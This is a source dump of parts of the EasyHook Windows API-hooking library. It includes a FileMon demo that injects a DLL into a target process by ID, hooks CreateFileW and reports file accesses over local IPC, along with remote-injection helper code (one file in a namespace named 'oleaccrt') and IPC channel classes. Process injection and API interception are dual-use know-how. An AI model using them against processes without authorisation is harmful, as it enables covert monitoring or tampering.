namespace FileMon 41 | { 42 | public class FileMonInterface : MarshalByRefObject 43 | { 44 | public void IsInstalled(Int32 InClientPID) 45 | { 46 | Console.WriteLine("FileMon has been installed in target {0}.\r\n", InClientPID); 47 | } 48 | 49 | public void OnCreateFile(Int32 InClientPID, String[] InFileNames) 50 | { 51 | for (int i = 0; i < InFileNames.Length; i++) 52 | { 53 | Console.WriteLine(InFileNames[i]); 54 | } 55 | } 56 | 57 | public void ReportException(Exception InInfo) 58 | { 59 | Console.WriteLine("The target process has reported an error:\r\n" + InInfo.ToString()); 60 | } 61 | 62 | public void Ping() 63 | { 64 | } 65 | } 66 | 67 | class Program 68 | { 69 | static String ChannelName = null; 70 | 71 | static void Main(string[] args) 72 | { 73 | try 74 | { 75 | Config.Register( 76 | "A FileMon like demo application.", 77 | "FileMon.exe", 78 | "FileMonInject.dll"); 79 | 80 | RemoteHooking.IpcCreateServer<FileMonInterface>(ref ChannelName, WellKnownObjectMode.SingleCall); 81 | 82 | RemoteHooking.Inject( 83 | Int32.Parse(args[0]), 84 | "FileMonInject.dll", 85 | "FileMonInject.dll", 86 | ChannelName); 87 | 88 | Console.ReadLine(); 89 | } 90 | catch (Exception ExtInfo) 91 | { 92 | Console.WriteLine("There was an error while connecting to target:\r\n{0}", ExtInfo.ToString()); 93 | } 94 | } 95 | } 96 | } 97 | 98 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/FileMonInject.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 29 | 30 | 31 | The following demonstrates how to use : 32 | 33 | using System; 34 | using System.Collections.Generic; 35 | using System.Text; 36 | using System.Threading; 37 | using System.Runtime.InteropServices; 38 | using EasyHook; 39 | 40 | namespace FileMonInject 41 | { 42 | public class Main : EasyHook.IEntryPoint 43 | { 44 | FileMon.FileMonInterface Interface; 45 | LocalHook CreateFileHook; 46 | Stack<String> Queue = new Stack<String> (); 47 | 48 | public Main( 49 | RemoteHooking.IContext InContext, 50 | String InChannelName) 51 | { 52 | // connect to host... 53 | Interface = RemoteHooking.IpcConnectClient<FileMon.FileMonInterface>(InChannelName); 54 | 55 | // validate connection... 56 | Interface.Ping(); 57 | } 58 | 59 | public void Run( 60 | RemoteHooking.IContext InContext, 61 | String InChannelName) 62 | { 63 | // install hook... 64 | try 65 | { 66 | CreateFileHook = LocalHook.Create( 67 | LocalHook.GetProcAddress("kernel32.dll", "CreateFileW"), 68 | new DCreateFile(CreateFile_Hooked), 69 | this); 70 | 71 | CreateFileHook.ThreadACL.SetExclusiveACL(new Int32[] { 0 }); 72 | } 73 | catch (Exception ExtInfo) 74 | { 75 | Interface.ReportException(ExtInfo); 76 | 77 | return; 78 | } 79 | 80 | Interface.IsInstalled(RemoteHooking.GetCurrentProcessId()); 81 | 82 | RemoteHooking.WakeUpProcess(); 83 | 84 | // wait for host process termination... 85 | try 86 | { 87 | while (true) 88 | { 89 | Thread.Sleep(500); 90 | 91 | // transmit newly monitored file accesses... 92 | if (Queue.Count > 0) 93 | { 94 | String[] Package = null; 95 | 96 | lock (Queue) 97 | { 98 | Package = Queue.ToArray(); 99 | 100 | Queue.Clear(); 101 | } 102 | 103 | Interface.OnCreateFile(RemoteHooking.GetCurrentProcessId(), Package); 104 | } 105 | else 106 | Interface.Ping(); 107 | } 108 | } 109 | catch 110 | { 111 | // Ping() will raise an exception if host is unreachable 112 | } 113 | } 114 | 115 | [UnmanagedFunctionPointer(CallingConvention.StdCall, 116 | CharSet = CharSet.Unicode, 117 | SetLastError = true)] 118 | delegate IntPtr DCreateFile( 119 | String InFileName, 120 | UInt32 InDesiredAccess, 121 | UInt32 InShareMode, 122 | IntPtr InSecurityAttributes, 123 | UInt32 InCreationDisposition, 124 | UInt32 InFlagsAndAttributes, 125 | IntPtr InTemplateFile); 126 | 127 | // just use a P-Invoke implementation to get native API access from C# (this step is not necessary for C++.NET) 128 | [DllImport("kernel32.dll", 129 | CharSet = CharSet.Unicode, 130 | SetLastError = true, 131 | CallingConvention = CallingConvention.StdCall)] 132 | static extern IntPtr CreateFile( 133 | String InFileName, 134 | UInt32 InDesiredAccess, 135 | UInt32 InShareMode, 136 | IntPtr InSecurityAttributes, 137 | UInt32 InCreationDisposition, 138 | UInt32 InFlagsAndAttributes, 139 | IntPtr InTemplateFile); 140 | 141 | // this is where we are intercepting all file accesses! 142 | static IntPtr CreateFile_Hooked( 143 | String InFileName, 144 | UInt32 InDesiredAccess, 145 | UInt32 InShareMode, 146 | IntPtr InSecurityAttributes, 147 | UInt32 InCreationDisposition, 148 | UInt32 InFlagsAndAttributes, 149 | IntPtr InTemplateFile) 150 | { 151 | 152 | try 153 | { 154 | Main This = (Main)HookRuntimeInfo.Callback; 155 | 156 | lock (This.Queue) 157 | { 158 | This.Queue.Push("[" + RemoteHooking.GetCurrentProcessId() + ":" + 159 | RemoteHooking.GetCurrentThreadId() + "]: \"" + InFileName + "\""); 160 | } 161 | } 162 | catch 163 | { 164 | } 165 | 166 | // call original API... 167 | return CreateFile( 168 | InFileName, 169 | InDesiredAccess, 170 | InShareMode, 171 | InSecurityAttributes, 172 | InCreationDisposition, 173 | InFlagsAndAttributes, 174 | InTemplateFile); 175 | } 176 | } 177 | } 178 | 179 | 180 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/HelperServiceInterface.cs: -------------------------------------------------------------------------------- 1 | // EasyHook (File: EasyHook\HelperServiceInterface.cs) 2 | // 3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in 13 | // all copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | // THE SOFTWARE. 22 | // 23 | // Please visit https://easyhook.github.io for more information 24 | // about the project and latest updates. 25 | 26 | using System; 27 | using System.Collections.Generic; 28 | using System.Diagnostics; 29 | using System.IO; 30 | using System.Text; 31 | using System.Reflection; 32 | using System.Threading; 33 | 34 | namespace oleaccrt 35 | { 36 | #pragma warning disable 1591 37 | 38 | public class HelperServiceInterface : MarshalByRefObject 39 | { 40 | public void InjectEx( 41 | Int32 InHostPID, 42 | Int32 InTargetPID, 43 | Int32 InWakeUpTID, 44 | Int32 InNativeOptions, 45 | String InLibraryPath_x86, 46 | String InLibraryPath_x64, 47 | Boolean InCanBypassWOW64, 48 | Boolean InCanCreateService, 49 | Boolean InRequireStrongName, 50 | params Object[] InPassThruArgs) 51 | { 52 | RemoteHooking.InjectEx( 53 | InHostPID, 54 | InTargetPID, 55 | InWakeUpTID, 56 | InNativeOptions, 57 | InLibraryPath_x86, 58 | InLibraryPath_x64, 59 | InCanBypassWOW64, 60 | InCanCreateService, 61 | InRequireStrongName, 62 | InPassThruArgs); 63 | } 64 | 65 | public Object ExecuteAsService( 66 | String InMethodName, 67 | Object[] InParams) 68 | { 69 | return typeof(TClass).InvokeMember(InMethodName, BindingFlags.InvokeMethod | BindingFlags.Public | 70 | BindingFlags.Static, null, null, InParams); 71 | } 72 | 73 | private class InjectionWait 74 | { 75 | public Mutex ThreadLock = new Mutex(false); 76 | public ManualResetEvent Completion = new ManualResetEvent(false); 77 | public Exception Error = null; 78 | } 79 | 80 | private static SortedList InjectionList = new SortedList(); 81 | 82 | public static void BeginInjection(Int32 InTargetPID) 83 | { 84 | InjectionWait WaitInfo; 85 | 86 | lock (InjectionList) 87 | { 88 | if (!InjectionList.TryGetValue(InTargetPID, out WaitInfo)) 89 | { 90 | WaitInfo = new InjectionWait(); 91 | 92 | InjectionList.Add(InTargetPID, WaitInfo); 93 | } 94 | } 95 | 96 | WaitInfo.ThreadLock.WaitOne(); 97 | WaitInfo.Error = null; 98 | WaitInfo.Completion.Reset(); 99 | 100 | lock (InjectionList) 101 | { 102 | if (!InjectionList.ContainsKey(InTargetPID)) 103 | InjectionList.Add(InTargetPID, WaitInfo); 104 | } 105 | } 106 | 107 | public static void EndInjection(Int32 InTargetPID) 108 | { 109 | lock (InjectionList) 110 | { 111 | InjectionList[InTargetPID].ThreadLock.ReleaseMutex(); 112 | 113 | InjectionList.Remove(InTargetPID); 114 | } 115 | } 116 | 117 | public static void WaitForInjection(Int32 InTargetPID) 118 | { 119 | InjectionWait WaitInfo; 120 | 121 | lock (InjectionList) 122 | { 123 | WaitInfo = InjectionList[InTargetPID]; 124 | } 125 | 126 | if (!WaitInfo.Completion.WaitOne(20000, false)) 127 | throw new TimeoutException("Unable to wait for injection completion."); 128 | 129 | if (WaitInfo.Error != null) 130 | throw WaitInfo.Error; 131 | } 132 | 133 | public void InjectionException( 134 | Int32 InClientPID, 135 | Exception e) 136 | { 137 | InjectionWait WaitInfo; 138 | 139 | lock (InjectionList) 140 | { 141 | WaitInfo = InjectionList[InClientPID]; 142 | } 143 | 144 | WaitInfo.Error = e; 145 | WaitInfo.Completion.Set(); 146 | } 147 | 148 | public void InjectionCompleted(Int32 InClientPID) 149 | { 150 | InjectionWait WaitInfo; 151 | 152 | lock (InjectionList) 153 | { 154 | WaitInfo = InjectionList[InClientPID]; 155 | } 156 | 157 | WaitInfo.Error = null; 158 | WaitInfo.Completion.Set(); 159 | } 160 | 161 | public void Ping() { } 162 | } 163 | } 164 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/-DummyCore.cs: -------------------------------------------------------------------------------- 1 |  2 | using System.Diagnostics; 3 | namespace EasyHook.IPC 4 | { 5 | /// 6 | /// Represents EasyHook's (future) CoreClass/DomainManager/... 7 | /// 8 | public static class DummyCore 9 | { 10 | 11 | public static ConnectionManager ConnectionManager { get; set; } 12 | 13 | static DummyCore() 14 | { 15 | ConnectionManager = new ConnectionManager(); 16 | } 17 | 18 | public static void StartRemoteProcess(string exe) 19 | { 20 | string channelUrl = ConnectionManager.InitializeInterDomainConnection(); 21 | Process.Start(exe, channelUrl); 22 | } 23 | 24 | public static void InitializeAsRemoteProcess(string channelUrl) 25 | { 26 | ConnectionManager.ConnectInterDomainConnection(channelUrl); 27 | } 28 | 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/ChannelProperties.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | using System; 25 | using System.Collections; 26 | using System.Runtime.Remoting.Channels.Ipc; 27 | using System.Security.Cryptography; 28 | using System.Text; 29 | 30 | namespace EasyHook.IPC 31 | { 32 | /// 33 | /// Wraps all properties related to an IPC channel. 34 | /// 35 | internal struct ChannelProperties 36 | { 37 | 38 | #region Constants 39 | 40 | private const string _UrlPrefix = "ipc://"; 41 | private const string _PostfixInstantiatorSide = "_I"; 42 | private const string _PostfixRemoteSide = "_R"; 43 | private const string _Seperator = "/"; 44 | 45 | #endregion 46 | 47 | #region Variables 48 | 49 | private string _endPointName; 50 | private string _channelName; 51 | private bool _localEndPointIsInstantiator; 52 | 53 | #endregion 54 | 55 | #region Properties 56 | 57 | /// 58 | /// Gets whether or not the current describes the outgoing channel of the instantiating endpoint. 59 | /// 60 | public bool IsInstantiatorChannel 61 | { 62 | get { return _localEndPointIsInstantiator; } 63 | } 64 | 65 | /// 66 | /// Gets or sets the name of the endpoint object. 67 | /// With a this name is expected to be the same for both endpoints. 68 | /// 69 | /// 70 | /// An is thrown if the given is null. 71 | /// 72 | /// 73 | /// An is thrown if the given contains any of the following values: 74 | /// "_I", "_R" or "/" 75 | /// 76 | public string EndPointName 77 | { 78 | get { return _endPointName; } 79 | set 80 | { 81 | AssertParameterNotNull(value, "value"); 82 | AssertLegalValues(value, "value"); 83 | _endPointName = value; 84 | } 85 | } 86 | 87 | /// 88 | /// Gets the name of the channel, this is a combination of the value set with 89 | /// and a value based on . 90 | /// 91 | public string ChannelName 92 | { 93 | get 94 | { 95 | if (_channelName == null) 96 | return null; 97 | return _localEndPointIsInstantiator 98 | ? _channelName + _PostfixInstantiatorSide 99 | : _channelName + _PostfixRemoteSide; 100 | } 101 | } 102 | 103 | /// 104 | /// Gets the full url for the described IPC channel. 105 | /// 106 | public string Url 107 | { 108 | get 109 | { 110 | return ChannelName != null && EndPointName != null 111 | ? _UrlPrefix + ChannelName + _Seperator + EndPointName 112 | : null; 113 | } 114 | } 115 | 116 | #endregion 117 | 118 | #region Public Methods 119 | 120 | /// 121 | /// Returns the current as an , 122 | /// which can be used by the constructor. 123 | /// 124 | /// 125 | public IDictionary AsDictionary() 126 | { 127 | return new Hashtable(2) 128 | { 129 | {"name", EndPointName}, 130 | {"portName", ChannelName} 131 | }; 132 | } 133 | 134 | /// 135 | /// Gets the that are expected to be used by the remote endpoint's outgoing channel. 136 | /// 137 | /// 138 | public ChannelProperties GetRemoteEndpointChannelProperties() 139 | { 140 | return new ChannelProperties 141 | { 142 | _endPointName = _endPointName, 143 | _channelName = _channelName, 144 | _localEndPointIsInstantiator = !_localEndPointIsInstantiator 145 | }; 146 | } 147 | 148 | /// 149 | /// Sets the first part of the value returned by . 150 | /// 151 | /// 152 | /// An is thrown if the given is null. 153 | /// 154 | /// 155 | /// An is thrown if the given contains any of the following values: 156 | /// "_I", "_R" or "/" 157 | /// 158 | /// 159 | public void SetChannelName(string channelName) 160 | { 161 | AssertParameterNotNull(channelName, "value"); 162 | AssertLegalValues(channelName, "value"); 163 | _channelName = channelName; 164 | } 165 | 166 | #endregion 167 | 168 | #region Public Static Methods 169 | 170 | /// 171 | /// Returns a new instance of describing a randomly named channel, 172 | /// in which the current is expected to be the instantiator. 173 | /// 174 | /// 175 | public static ChannelProperties CreateRandomChannelProperties() 176 | { 177 | // Creating a very random name provides an extra layer of protection to the channel 178 | var data = new byte[30]; 179 | new RNGCryptoServiceProvider().GetBytes(data); 180 | var nameLength = 20 + (data[0]%10); 181 | // Convert the bytes to a string contain only numbers and letters 182 | var builder = new StringBuilder(nameLength); 183 | for (var i = 0; i < nameLength; i++) 184 | { 185 | var b = data[i]%62; 186 | if (b < 10) 187 | builder.Append((char) ('0' + b)); 188 | else if (b < 36) 189 | builder.Append((char) ('A' + b - 10)); 190 | else 191 | builder.Append((char) ('a' + b - 36)); 192 | } 193 | var randomName = builder.ToString(); 194 | return new ChannelProperties 195 | { 196 | _endPointName = randomName, 197 | _channelName = randomName, 198 | _localEndPointIsInstantiator = true 199 | }; 200 | } 201 | 202 | /// 203 | /// Initializes a new instance of 204 | /// describing the exact same channel as described by . 205 | /// 206 | /// 207 | /// An is thrown if the given is null. 208 | /// 209 | /// 210 | /// An is thrown if the given is not a valid IPC channel url. 211 | /// 212 | /// 213 | /// 214 | public static ChannelProperties InitializeFromUrl(string url) 215 | { 216 | // Verify and split the argument. 217 | AssertParameterNotNull(url, "url"); 218 | if (url.StartsWith(_UrlPrefix)) 219 | url = url.Substring(_UrlPrefix.Length); 220 | var values = url.Split(new[] {_Seperator}, StringSplitOptions.None); 221 | if (values.Length != 2) 222 | throw new ArgumentException("The provided url isn't valid.", "url"); 223 | // Extract properties. 224 | var properties = new ChannelProperties(); 225 | var channelName = values[0]; 226 | string postFix; 227 | if (channelName.EndsWith(_PostfixInstantiatorSide)) 228 | postFix = _PostfixInstantiatorSide; 229 | else if (channelName.EndsWith(_PostfixRemoteSide)) 230 | postFix = _PostfixRemoteSide; 231 | else 232 | throw new ArgumentException("The provided url isn't valid.", "url"); 233 | properties._localEndPointIsInstantiator = postFix == _PostfixInstantiatorSide; 234 | properties._channelName = channelName.Substring(0, channelName.Length - postFix.Length); 235 | properties._endPointName = values[1]; 236 | AssertLegalValues(properties._channelName, "url"); 237 | AssertLegalValues(properties._endPointName, "url"); 238 | return properties; 239 | } 240 | 241 | #endregion 242 | 243 | #region Private Static Methods 244 | 245 | private static void AssertParameterNotNull(object value, string paramName) 246 | { 247 | if (value == null) 248 | throw new ArgumentNullException(paramName); 249 | } 250 | 251 | private static void AssertLegalValues(string value, string paramName) 252 | { 253 | if (value.EndsWith(_PostfixInstantiatorSide) 254 | || value.EndsWith(_PostfixRemoteSide) 255 | || value.Contains(_Seperator)) 256 | throw new ArgumentException( 257 | string.Format("The provided value can not contain \"{0}\", \"{1}\" nor \"{2}\"", 258 | _PostfixInstantiatorSide, _PostfixRemoteSide, _Seperator), 259 | paramName); 260 | } 261 | 262 | #endregion 263 | 264 | } 265 | } 266 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/ConnectionManager.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | using System; 25 | using System.Collections.Generic; 26 | using System.Runtime.Remoting; 27 | using EasyHook.Domain; 28 | using DomainChannel = EasyHook.IPC.DuplexChannel; 29 | 30 | namespace EasyHook.IPC 31 | { 32 | /// 33 | /// Class managing all connections between the current and any other , 34 | /// which might even run in a different process than the current one. 35 | /// 36 | public class ConnectionManager 37 | { 38 | 39 | #region Variables 40 | 41 | /// 42 | /// A collection of all known connections between the current application domain and any other domains. 43 | /// 44 | private readonly IDictionary _domainConnections; 45 | /// 46 | /// Syncroot for . 47 | /// 48 | private readonly object _domainConnectionsSyncRoot; 49 | 50 | #endregion 51 | 52 | #region Constructors 53 | 54 | /// 55 | /// Initializes a new instance of . 56 | /// 57 | internal ConnectionManager() 58 | { 59 | _domainConnections = new Dictionary>(); 60 | _domainConnectionsSyncRoot = new object(); 61 | } 62 | 63 | #endregion 64 | 65 | #region Public Methods 66 | 67 | /// 68 | /// Returns whether a connection can be made to the specified remote domain. 69 | /// 70 | /// 71 | /// 72 | public bool CanConnect(DomainIdentifier id) 73 | { 74 | lock (_domainConnectionsSyncRoot) 75 | return _domainConnections.ContainsKey(id); 76 | } 77 | 78 | /// 79 | /// Returns a new proxy to an object of type 80 | /// located in the with the specified identifier. 81 | /// 82 | /// 83 | /// 84 | /// The type of the object to get access to. 85 | /// The identifier of the targetted application domain. 86 | /// 87 | public TEndPoint Connect(DomainIdentifier id) 88 | where TEndPoint : EndPointObject 89 | { 90 | DomainConnectionEndPoint remoteDomainEndPoint; 91 | lock (_domainConnectionsSyncRoot) 92 | { 93 | if (!_domainConnections.ContainsKey(id)) 94 | throw new ArgumentException("Unable to connect to remote domain with id " + id); 95 | remoteDomainEndPoint = _domainConnections[id].GetRemoteEndPoint(); 96 | } 97 | var objectUri = remoteDomainEndPoint.CreateChannel(); 98 | var result = Activator.GetObject(typeof (TEndPoint), objectUri) as TEndPoint; 99 | if (result == null) 100 | throw new RemotingException(); 101 | result.Ping(); 102 | return result; 103 | } 104 | 105 | /// 106 | /// Tries to create a new proxy to an object of type 107 | /// located in the with the specified identifier. 108 | /// 109 | /// The type of the object to get access to. 110 | /// The identifier of the targetted application domain. 111 | /// The newly created proxy. 112 | /// 113 | public bool TryConnect(DomainIdentifier id, out TEndPoint result) 114 | where TEndPoint : EndPointObject 115 | { 116 | if (!CanConnect(id)) 117 | { 118 | result = null; 119 | return false; 120 | } 121 | try 122 | { 123 | result = Connect(id); 124 | return true; 125 | } 126 | catch 127 | { 128 | result = null; 129 | return false; 130 | } 131 | } 132 | 133 | #endregion 134 | 135 | #region Internal Methods 136 | 137 | /// 138 | /// Initializes a new IPC connection which has a on both connection sides. 139 | /// 140 | /// 141 | /// To connect to the created connection, 142 | /// call in the remote application domain using the returned value. 143 | /// 144 | /// The url of the created IPC channel. 145 | internal string InitializeInterDomainConnection() 146 | { 147 | var endPointConfig = EndPointConfigurationData.InitializeDefault(); 148 | var duplexChannel = new DomainChannel(endPointConfig); 149 | duplexChannel.InitializeConnection(OnDomainConnected); 150 | return duplexChannel.LocalEndPointUrl; 151 | } 152 | 153 | /// 154 | /// Connects to an existing IPC connection. 155 | /// 156 | /// 157 | /// To set up such a connection, call in the remote application domain. 158 | /// 159 | /// 160 | internal void ConnectInterDomainConnection(string channelUrl) 161 | { 162 | var endPointConfig = EndPointConfigurationData.InitializeDefault(); 163 | var duplexChannel = new DomainChannel(endPointConfig, channelUrl); 164 | duplexChannel.InitializeConnection(OnDomainConnected); 165 | } 166 | 167 | /// 168 | /// Creates or opens a connection to an instance of . 169 | /// 170 | /// The type of the endpoint to create or open. 171 | /// The url to the endpoint of the connection. 172 | internal string CreateChannel() 173 | where TEndPoint : EndPointObject 174 | { 175 | var endPointConfig = EndPointConfigurationData.InitializeDefault(); 176 | var channel = new SimplexChannel(endPointConfig); 177 | channel.InitializeChannel(); 178 | return channel.EndPointUrl; 179 | // ToDo: Testing required, need to save reference to the channel? 180 | } 181 | 182 | #endregion 183 | 184 | #region Private Methods 185 | 186 | /// 187 | /// Eventhandler that's called when an IPC connection is ready to be used. 188 | /// 189 | /// 190 | private void OnDomainConnected(DomainChannel sender) 191 | { 192 | var remoteDomainEndPoint = sender.GetRemoteEndPoint(); 193 | var remoteDomainId = remoteDomainEndPoint.Id; 194 | lock (_domainConnectionsSyncRoot) 195 | { 196 | if (!_domainConnections.ContainsKey(remoteDomainId)) 197 | _domainConnections.Add(remoteDomainId, sender); 198 | } 199 | } 200 | 201 | /// 202 | /// Eventhandler that's called when an IPC connection is disposed. 203 | /// 204 | /// 205 | private void OnDomainDisposed(DomainIdentifier domainIdentifier) 206 | { 207 | lock (_domainConnectionsSyncRoot) 208 | { 209 | if (_domainConnections.ContainsKey(domainIdentifier)) 210 | _domainConnections.Remove(domainIdentifier); 211 | } 212 | } 213 | 214 | #endregion 215 | 216 | } 217 | } 218 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/DomainConnectionEndPoint.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | using EasyHook.Domain; 25 | 26 | namespace EasyHook.IPC 27 | { 28 | /// 29 | /// Represents the endpoint in an inter domain connection. 30 | /// 31 | internal sealed class DomainConnectionEndPoint : DuplexChannelEndPointObject 32 | { 33 | 34 | #region Variables 35 | 36 | /// 37 | /// The identifier of the current application domain. 38 | /// 39 | private static readonly DomainIdentifier _id; 40 | 41 | #endregion 42 | 43 | #region Properties 44 | 45 | /// 46 | /// Gets the identifier for the endpoint. 47 | /// 48 | public DomainIdentifier Id 49 | { 50 | get { return _id; } 51 | } 52 | 53 | #endregion 54 | 55 | #region Constructors 56 | 57 | static DomainConnectionEndPoint() 58 | { 59 | _id = DomainIdentifier.GetLocalDomainIdentifier(); 60 | } 61 | 62 | #endregion 63 | 64 | #region Public Methods 65 | 66 | /// 67 | /// Creates or opens a connection to an instance of . 68 | /// 69 | /// The type of the endpoint to create or open. 70 | /// The url to the endpoint of the connection. 71 | public string CreateChannel() 72 | where TEndPoint : EndPointObject 73 | { 74 | return DummyCore.ConnectionManager.CreateChannel(); 75 | } 76 | 77 | #endregion 78 | 79 | #region Public Overrides 80 | 81 | public override object InitializeLifetimeService() 82 | { 83 | // Returning null ensures the endpoint stays available during the complete domain's lifetime. 84 | return null; 85 | } 86 | 87 | #endregion 88 | 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/DuplexChannel.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | using System; 25 | using System.Collections.Generic; 26 | using System.Runtime.Remoting; 27 | using System.Runtime.Remoting.Channels; 28 | using System.Runtime.Remoting.Channels.Ipc; 29 | using System.Runtime.Serialization.Formatters; 30 | using System.Security.AccessControl; 31 | using System.Security.Principal; 32 | 33 | namespace EasyHook.IPC 34 | { 35 | /// 36 | /// provides a full duplex channel 37 | /// for communication between different processes and/or application domains. 38 | /// 39 | /// 40 | internal class DuplexChannel 41 | where TRemoteEndPoint : DuplexChannelEndPointObject 42 | { 43 | 44 | #region Variables 45 | 46 | /// 47 | /// The properties of the channel instantiated by the local endpoint. 48 | /// 49 | private readonly ChannelProperties _localChannelProperties; 50 | /// 51 | /// The properties of the channel instantiated by the remote endpoint. 52 | /// 53 | private readonly ChannelProperties _remoteChannelProperties; 54 | /// 55 | /// The configuration of the local endpoint's server. 56 | /// 57 | private readonly EndPointConfigurationData _localEndPointConfig; 58 | /// 59 | /// The instantiated by the current . 60 | /// 61 | private IpcServerChannel _serverChannel; 62 | /// 63 | /// The of the current . 64 | /// 65 | private DuplexChannelState _state; 66 | 67 | #endregion 68 | 69 | #region Properties 70 | 71 | /// 72 | /// Gets the of the current . 73 | /// 74 | public DuplexChannelState State 75 | { 76 | get { return _state; } 77 | } 78 | 79 | /// 80 | /// Gets the full URL of the local endpoint server. 81 | /// 82 | public string LocalEndPointUrl 83 | { 84 | get { return _localChannelProperties.Url; } 85 | } 86 | 87 | /// 88 | /// Gets whether or not the local endpoint is the channel's instantiator. 89 | /// 90 | public bool IsLocalEndPointInstantiator 91 | { 92 | get { return _localChannelProperties.IsInstantiatorChannel; } 93 | } 94 | 95 | #endregion 96 | 97 | #region Constructors 98 | 99 | /// 100 | /// Creates a new full duplex channel, in which the current is the instantiator. 101 | /// 102 | /// Configuration for the local endpoint. 103 | public DuplexChannel(EndPointConfigurationData localEndPointConfig) 104 | : this(localEndPointConfig, ChannelProperties.CreateRandomChannelProperties()) 105 | { 106 | } 107 | 108 | /// 109 | /// Creates a new full duplex channel, in which the remote endpoint's is the instantiator. 110 | /// 111 | /// Configuration for the local endpoint. 112 | /// The url to the remote endpoint, which is the channel instantiator. 113 | public DuplexChannel(EndPointConfigurationData localEndPointConfig, string otherChannelUrl) 114 | : this(localEndPointConfig, ChannelProperties.InitializeFromUrl(otherChannelUrl).GetRemoteEndpointChannelProperties()) 115 | { 116 | } 117 | 118 | /// 119 | /// Initializes a new instance of based on the given data. 120 | /// 121 | /// 122 | /// 123 | internal DuplexChannel(EndPointConfigurationData localEndPointConfig, ChannelProperties serverChannelProperties) 124 | { 125 | AssertEndpointConfigurationData(localEndPointConfig, "localEndpointConfig"); 126 | _localEndPointConfig = localEndPointConfig; 127 | 